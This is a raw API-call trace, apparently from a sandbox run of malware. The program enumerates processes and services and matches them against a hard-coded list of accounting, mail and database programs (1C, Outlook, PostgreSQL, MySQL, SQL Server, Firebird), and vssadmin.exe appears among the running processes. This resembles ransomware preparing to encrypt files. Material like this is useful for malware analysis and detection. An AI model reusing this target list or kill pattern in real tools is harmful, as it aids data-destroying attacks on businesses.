lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0226.894] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0226.894] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0226.894] Process32NextW (in: hSnapshot=0x2d0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0226.895] lstrlenW (lpString="wininit.exe") returned 11 [0226.895] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0226.895] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0226.895] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0226.895] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0226.895] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0226.895] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0226.895] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0226.895] Process32NextW (in: hSnapshot=0x2d0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0226.897] lstrlenW (lpString="csrss.exe") returned 9 [0226.897] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0226.897] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0226.897] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0226.897] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0226.897] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0226.898] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0226.898] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0226.898] Process32NextW (in: hSnapshot=0x2d0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0226.899] lstrlenW (lpString="winlogon.exe") returned 12 [0226.899] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0226.899] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0226.899] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0226.899] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0226.899] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0226.899] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0226.899] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0226.899] Process32NextW (in: hSnapshot=0x2d0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0226.900] lstrlenW (lpString="services.exe") returned 12 [0226.900] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0226.900] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0226.900] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0226.901] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0226.901] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0226.901] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0226.901] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0226.901] Process32NextW (in: hSnapshot=0x2d0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0226.902] lstrlenW (lpString="lsass.exe") returned 9 [0226.902] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0226.902] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0226.902] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0226.902] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0226.902] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0226.902] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0226.902] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0226.902] Process32NextW (in: hSnapshot=0x2d0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0226.903] lstrlenW (lpString="lsm.exe") returned 7 [0226.903] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0226.903] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0226.904] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0226.904] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0226.904] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0226.904] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0226.904] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0226.904] Process32NextW (in: hSnapshot=0x2d0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.905] lstrlenW (lpString="svchost.exe") returned 11 [0226.905] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0226.905] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0226.905] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0226.905] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0226.905] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0226.905] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0226.905] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0226.905] Process32NextW (in: hSnapshot=0x2d0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.906] lstrlenW (lpString="svchost.exe") returned 11 [0226.906] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0226.906] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0226.906] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0226.906] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0226.907] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0226.907] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0226.907] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0226.907] Process32NextW (in: hSnapshot=0x2d0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.908] lstrlenW (lpString="svchost.exe") returned 11 [0226.908] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0226.908] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0226.908] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0226.908] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0226.908] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0226.908] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0226.908] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0226.908] Process32NextW (in: hSnapshot=0x2d0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.909] lstrlenW (lpString="svchost.exe") returned 11 [0226.909] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0226.909] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0226.909] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0226.909] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0226.910] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0226.910] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0226.910] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0226.910] Process32NextW (in: hSnapshot=0x2d0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.911] lstrlenW (lpString="svchost.exe") returned 11 [0226.911] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0226.911] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0226.911] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0226.911] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0226.911] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0226.911] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0226.911] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0226.911] Process32NextW (in: hSnapshot=0x2d0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0227.227] lstrlenW (lpString="audiodg.exe") returned 11 [0227.227] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0227.227] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1 [0227.227] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1 [0227.227] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1 [0227.227] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1 [0227.227] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1 [0227.227] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1 [0227.227] Process32NextW (in: hSnapshot=0x2d0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.228] lstrlenW (lpString="svchost.exe") returned 11 [0227.228] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0227.228] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0227.228] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0227.228] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0227.228] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0227.228] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0227.228] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0227.228] Process32NextW (in: hSnapshot=0x2d0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0227.229] lstrlenW (lpString="userinit.exe") returned 12 [0227.229] lstrcmpiW (lpString1="1c8.exe", lpString2="userinit.exe") returned -1 [0227.230] lstrcmpiW (lpString1="1cv77.exe", lpString2="userinit.exe") returned -1 [0227.230] Process32NextW (in: hSnapshot=0x2d0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0227.231] lstrlenW (lpString="explorer.exe") returned 12 [0227.231] Process32NextW (in: hSnapshot=0x2d0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0227.232] lstrlenW (lpString="dwm.exe") returned 7 [0227.232] Process32NextW (in: hSnapshot=0x2d0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.233] lstrlenW (lpString="svchost.exe") returned 11 [0227.233] Process32NextW (in: hSnapshot=0x2d0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0227.234] lstrlenW (lpString="winhost.exe") returned 11 [0227.234] Process32NextW (in: hSnapshot=0x2d0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0227.235] lstrlenW (lpString="spoolsv.exe") returned 11 [0227.235] Process32NextW (in: hSnapshot=0x2d0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0227.236] lstrlenW (lpString="dllhost.exe") returned 11 [0227.236] Process32NextW (in: hSnapshot=0x2d0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.237] lstrlenW (lpString="svchost.exe") returned 11 [0227.237] Process32NextW (in: hSnapshot=0x2d0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0227.238] lstrlenW (lpString="taskhost.exe") returned 12 [0227.238] Process32NextW (in: hSnapshot=0x2d0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0227.239] lstrlenW (lpString="cmd.exe") returned 7 [0227.239] Process32NextW (in: hSnapshot=0x2d0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0227.240] lstrlenW (lpString="reader_sl.exe") returned 13 [0227.240] Process32NextW (in: hSnapshot=0x2d0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0227.241] lstrlenW (lpString="conhost.exe") returned 11 [0227.241] Process32NextW (in: hSnapshot=0x2d0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0227.242] lstrlenW (lpString="vssadmin.exe") returned 12 [0227.243] Process32NextW (in: hSnapshot=0x2d0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0227.243] CloseHandle (hObject=0x2d0) returned 1 [0227.244] Sleep (dwMilliseconds=0x1f4) [0227.991] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x62e450 [0228.031] EnumServicesStatusExW (in: hSCManager=0x62e450, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 0 [0228.032] GetLastError () returned 0xea [0228.032] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xb38) returned 0x432a868 [0228.032] EnumServicesStatusExW (in: hSCManager=0x62e450, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x432a868, cbBufSize=0xb38, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x432a868, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 1 [0228.033] CloseServiceHandle (hSCObject=0x62e450) returned 1 [0228.033] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0228.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0228.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0228.034] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0228.034] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0228.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0228.034] lstrlenW (lpString="AudioSrv") returned 8 [0228.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0228.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0228.034] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0228.034] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0228.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0228.034] lstrlenW (lpString="BFE") returned 3 [0228.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0228.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0228.035] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0228.035] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0228.035] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0228.035] lstrlenW (lpString="CryptSvc") returned 8 [0228.035] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0228.035] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0228.035] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0228.036] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0228.036] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0228.036] lstrlenW (lpString="CscService") returned 10 [0228.036] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0228.036] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0228.036] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0228.036] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0228.036] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0228.036] lstrlenW (lpString="DcomLaunch") returned 10 [0228.036] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0228.036] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0228.036] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0228.036] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0228.036] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0228.036] lstrlenW (lpString="Dhcp") returned 4 [0228.036] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0228.037] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0228.037] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0228.037] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0228.037] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0228.037] lstrlenW (lpString="Dnscache") returned 8 [0228.037] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0228.037] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0228.037] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0228.037] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0228.037] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0228.037] lstrlenW (lpString="eventlog") returned 8 [0228.037] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0228.037] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0228.037] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0228.038] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0228.038] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0228.038] lstrlenW (lpString="EventSystem") returned 11 [0228.038] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0228.038] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0228.038] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0228.038] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0228.038] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0228.038] lstrlenW (lpString="gpsvc") returned 5 [0228.038] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0228.038] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0228.038] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0228.038] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0228.038] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0228.038] lstrlenW (lpString="LanmanWorkstation") returned 17 [0228.039] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0228.039] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0228.039] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0228.039] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0228.039] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0228.039] lstrlenW (lpString="lmhosts") returned 7 [0228.039] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0228.039] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0228.039] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0228.039] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0228.039] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0228.039] lstrlenW (lpString="MMCSS") returned 5 [0228.040] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0228.040] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0228.040] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0228.040] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0228.040] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0228.040] lstrlenW (lpString="MpsSvc") returned 6 [0228.040] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0228.040] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0228.040] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0228.040] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0228.040] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0228.040] lstrlenW (lpString="nsi") returned 3 [0228.040] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0228.040] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0228.041] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0228.041] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0228.041] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0228.041] lstrlenW (lpString="PlugPlay") returned 8 [0228.041] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0228.041] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 